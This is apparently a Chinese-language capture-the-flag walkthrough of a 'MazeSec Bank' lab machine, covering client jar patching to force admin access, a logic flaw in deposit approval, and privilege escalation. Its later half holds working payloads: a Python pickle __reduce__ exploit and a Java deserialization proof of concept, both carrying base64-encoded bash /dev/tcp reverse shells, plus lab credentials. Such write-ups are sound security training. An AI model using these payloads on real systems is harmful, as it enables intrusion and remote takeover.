あてもなく彷徨う蝉の群れに、 向着连目的地都没有彷徨着的蝉群 水も無くなり揺れ出す視界に、 向着连水面都静止了的视野里 迫り狂う鬼たちの怒号に、 向着狂乱的众鬼的怒号 バカみたいにはしゃぎあいふと君けナイフを取った。 像笨蛋一样欢闹着 直到你突然掏出了小刀。
靶机ip:192.168.56.215
难度:中等——困难
涉及内容:java代码审计,jar反编译,逻辑漏洞利用,pickle反序列化漏洞利用,java反序列化利用
信息收集 nmap全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ┌──(root㉿kaada)-[/ home/ kali/ Desktop] └─ Starting Nmap 7.95 ( https://nmap.org ) at 202 6-0 1-13 01 :09 ESTStats: 0 :00 :26 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 16.51 % done; ETC: 01 :12 (0 :02 :17 remaining)Stats: 0 :00 :53 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 41.33 % done; ETC: 01 :12 (0 :01 :17 remaining)Stats: 0 :01 :11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 60.45 % done; ETC: 01 :11 (0 :00 :47 remaining) Nmap scan report for 192.168 .56.215 Host is up (0.00059 s latency). Not shown: 65530 filtered tcp ports (no-response) PORT STATE SERVICE22 /tcp open ssh80 /tcp open http3306 /tcp closed mysql8000 /tcp open http-alt14646 /tcp open unknown MAC Address: 08 :00 :27 :3 C:A4:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 104.73 seconds
nmap细节探测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ┌──(root㉿kaada)-[/ home/ kali/ Desktop] └─ Starting Nmap 7.95 ( https://nmap.org ) at 202 6-0 1-13 01 :12 EST Nmap scan report for 192.168 .56.215 Host is up (0.00073 s latency). PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 8.4 p1 Debian 5 + deb11u3 (protocol 2.0 ) | ssh-hostkey: | 3072 f6:a3:b6:78 :c4:62 :af:44 :bb:1 a:a0:0 c:08 :6 b:98 :f7 (RSA) | 256 bb:e8:a2:31 :d4:05 :a9:c9:31 :ff:62 :f6:32 :84 :21 :9 d (ECDSA) |_ 256 3 b:ae:34 :64 :4 f:a5:75 :b9:4 a:b9:81 :f9:89 :76 :99 :eb (ED25519)80 /tcp open http Apache httpd 2.4 .62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: MazeSec Bank3306 /tcp closed mysql8000 /tcp open http WSGIServer 0.2 (Python 3.9 .2 ) | http-title: \xE7\x94\xA8\xE6\x88\xB7\xE7\x99\xBB\xE5\xBD\x95 - \xE5\xB8\x82\xE5\x9C\xBA\xE7\xB3\xBB\xE7\xBB\x9F |_Requested resource was / login/ ? next= / 14646 /tcp open unknown MAC Address: 08 :00 :27 :3 C:A4:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 5.0 - 5.14 (98 %), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6 .3 ) (98 %), Linux 4.15 - 5.19 (94 %), OpenWrt 21.02 (Linux 5.4 ) (94 %), Linux 2.6 .32 - 3.13 (93 %), Linux 5.1 - 5.15 (93 %), Linux 6.0 (93 %), Linux 2.6 .39 (93 %), OpenWrt 22.03 (Linux 5.10 ) (93 %), Linux 4.19 (92 %) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/ o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS1 0.73 ms 192.168 .56.215 OS and Service detection performed. Please report any incorrect results at https:// nmap.org/ submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds
访问80端口,发现是一个银行的界面,提示我们下载客户端
现在得知14646应为银行服务端开放端口。
连接成功后提示我们输入用户名和密码,选择注册一个账户。
成功登录后进入到开户界面,开一个账户。
之后存款,闭眼按零,看看审批流程究竟是怎么回事。
使用jadx反编译该客户端。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private void login() throws IOException { String username = this .usernameField.getText().trim(); String password = new String(this .passwordField.getPassword()); if (username.isEmpty() || password.isEmpty()) { JOptionPane.showMessageDialog(this , "请输入用户名和密码!" , "提示" , 2 ); return ; } if (!this .client.isConnected()) { JOptionPane.showMessageDialog(this , "与服务器的连接已断开!" , "错误" , 0 ); return ; } try { User user = (User) this .client.sendRequest("LOGIN" , username, password); if (user != null ) { JOptionPane.showMessageDialog(this , "登录成功!" , "提示" , 1 ); if (user.getUserType() == User.UserType.ADMIN) { new AdminFrame(this .client, user).setVisible(true ); } else { new CustomerFrame(this .client, user).setVisible(true ); } dispose(); } else { JOptionPane.showMessageDialog(this , "用户名或密码错误!" , "错误" , 0 ); this .client.disconnect(); } } catch (Exception ex) { ex.printStackTrace(); JOptionPane.showMessageDialog(this , "登录失败:" + ex.getMessage(), "错误" , 0 ); this .client.disconnect(); } }
主要的漏洞点在这里,在本地,验证逻辑是如果用户是管理员,那么打开管理员面板,反之打开用户面板。
那么可以修改代码,改成无论是谁都打开管理员面板。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 try { User user = (User) this .client.sendRequest("LOGIN" , username, password); if (user != null ) { JOptionPane.showMessageDialog(this , "登录成功!(强制管理员模式)" , "提示" , 1 ); new AdminFrame(this .client, user).setVisible(true ); dispose(); } else { JOptionPane.showMessageDialog(this , "用户名或密码错误!" , "错误" , 0 ); } }
用recaf修改代码ctrl+s保存代码后导出jar包并保存,同时开两个jar包。
现在我们已经是管理员了。
选择一个闭眼按零的存款申请
可以看到我们现在已经有几十个亿(大概)的存款了,拿提款凭证去8000端口的市场买东西去。
不过提示我们要先绑定银行账户。
之后成功购买,发现给的是一个网页。
之后进入这个网页(注意是80端口的这个页面,不是8000端口)发现一组凭证。
BANKER
这组凭证是市场系统的管理员用户,该用户可以管理后台,查看个人配置等。
在系统配置界面可以导入和导出配置,选择导出配置提示pickle,那么打pickle反序列化漏洞
在 Python 的 pickle 模块中,反序列化漏洞的核心在于 __reduce__ 魔术方法。当 pickle.load() 试图反序列化一个对象时,如果该对象定义了 __reduce__,pickle 会执行该方法。该方法返回一个元组 (callable, args),pickle 会自动调用 callable(*args)。
我们可以利用这一点,将 callable 设置为 os.system,将 args 设置为你的反弹 Shell 命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import pickleimport osimport base64class GenPayload (object ): def __reduce__ (self ): command = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64 -d|bash" return (os.system, (command,))def generate (): obj = GenPayload() payload_bytes = pickle.dumps(obj) print ("[+] Base64 Encoded Payload:" ) print (base64.b64encode(payload_bytes).decode()) if __name__ == '__main__' : generate()
1 2 3 4 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# python exp.py [+] Base64 Encoded Payload: gASVbQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFJwcmludGYgS0dKaGMyZ2dQaVlnTDJSbGRpOTBZM0F2TVRreUxqRTJPQzQxTmk0eE1EUXZORFEwTkNBd1BpWXhLU0FtfGJhc2U2NCAtZHxiYXNolIWUUpQu
1 2 3 4 5 6 7 8 9 10 ──────────────────────────────────────────────────────────────────────────────── ➤ 🏠 Main Menu (m) 💀 Payloads (p ) 🔄 Clear (Ctrl-L) 🚫 Quit (q /Ctrl-C)[+] Got reverse shell from bank-server-192.168 .56.215 -Linux-x86_64 😍 Assigned SessionID <1 >[+] Attempting to upgrade shell to PTY...[+] Shell upgraded successfully using /usr/bin/python3! 💪[+] Interacting with session [1] , Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/bank-server~192.168 .56.215 _Linux_x86_64/2026 _01_13-02 _18_18-126 .log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── banker@bank-server:/opt/market$
ROOT
1 2 3 4 5 6 7 banker@bank -server: /opt/market$ sudo -lMatching Defaults entries for banker on bank-server: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin \:/usr/sbin \:/usr/bin \:/sbin \:/bin User banker may run the following commands on bank-server: (ALL ) NOPASSWD: /usr/bin/bank-admin-tool banker@bank -server: /opt/market$
先传个公钥方便登录。
1 2 3 4 banker@bank-server:~/.ssh$ cd /opt banker@bank-server:/opt$ ls bank-admin-tool-1.0.0.jar bank-server market banker@bank-server:/opt$
发现还有一个管理端,照例download下来看一下
1 2 ┌──(root㉿kaada)-[/home/kali/Desktop] └─# mv /root/.penelope/bank-server\~192.168.56.215_Linux_x86_64/downloads/opt/bank-admin-tool-1.0.0.jar bank-admin-tool-1.0.0.jar
1 2 3 4 5 6 7 8 9 10 private void readObject (ObjectInputStream in) throws ClassNotFoundException, IOException { in.defaultReadObject(); if (this .initCommand != null && !this .initCommand.isEmpty()) { try { Runtime.getRuntime().exec(this .initCommand); } catch (IOException e) { } } }
这里是漏洞点
原理: 当 Java 应用程序反序列化一个 AdminConfig 对象时,JVM 会自动调用 readObject 方法。如果攻击者能够构造一个恶意的序列化数据(Payload),将 initCommand 字段设置为恶意的 Shell 命令,那么在反序列化过程中,该命令就会被 Runtime.getRuntime().exec() 执行,从而导致 远程代码执行 (RCE) 。
1 2 mkdir -p com/bank/admin javac com/bank/admin/Poc.java
1 2 sudo /usr/bin/bank-admin-tool 发现需要管理员账户/密码
1 2 banker@bank - server:~ $ cat /var/ www/html/ p\@ss_aD3i admin/ hellojavabadpython
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.bank.admin; import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.util.Base64;class AdminConfig implements Serializable { private static final long serialVersionUID = 1 ; private String serverHost = "localhost" ; private int serverPort = 14646 ; private int timeout = 30000 ; private boolean autoReconnect = true ; private String initCommand; public void setInitCommand (String initCommand) { this .initCommand = initCommand; } }public class Poc { public static void main (String[] args) throws Exception { String ip = "192.168.56.104" ; String port = "4444" ; String rawCommand = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1" ; String b64Cmd = Base64.getEncoder().encodeToString(rawCommand.getBytes()); String finalCommand = "bash -c {echo," + b64Cmd + "}|{base64,-d}|{bash,-i}" ; System.out.println("生成的恶意命令: " + finalCommand); AdminConfig config = new AdminConfig (); config.setInitCommand(finalCommand); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("admin.config" )); oos.writeObject(config); oos.close(); System.out.println("成功生成 Payload 文件: admin.config" ); } }
1 2 3 4 5 6 7 8 9 10 banker@bank -server: ~$ java com.bank.admin.Poc 生成的恶意命令: bash -c {echo,YmFzaCAtaSA +JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNC85OTk5IDA +JjE =}|{base64,-d}|{bash,-i} 成功生成 Payload 文件: admin.config banker@bank -server: ~$ sudo -lMatching Defaults entries for banker on bank-server: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin \:/usr/sbin \:/usr/bin \:/sbin \:/bin User banker may run the following commands on bank-server: (ALL ) NOPASSWD: /usr/bin/bank-admin-tool
1 2 3 4 5 6 7 8 9 10 11 12 banker@bank-server:~$ sudo /usr/bin/bank-admin-tool =========================================== Bank Server Administration Tool v1.0 =========================================== Configuration loaded from admin.config Connecting to localhost:14646... Connected successfully. Admin Username: [1]+ Stopped sudo /usr/bin/bank-admin-tool
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌──(root㉿kaada)-[/home/kali/Desktop] └─ [+] Listening for reverse shells on 0.0 .0.0 :9999 → 127.0 .0.1 • 192.168 .21.128 • 192.168 .56.104 • 172.17 .0.1 • 172.18 .0.1 • 10.10 .14.70 • 10.10 .14.70 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from bank-server-192.168 .56.215 -Linux-x86_64 😍 Assigned SessionID <1 > [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1 ], Shell Type: PTY, Menu key: F12 [+] Logging to /root/ .penelope/bank-server~192.168 .56.215_ Linux_x86_64/2026_01_13 -02_56_02 -923.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── root@bank-server:/home/banker root@bank-server:/home/banker flag{root-22ca 34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da} 非常感谢您的参与 诸事顺遂 -by DingTom (MazeSec Team) root@bank-server:/home/banker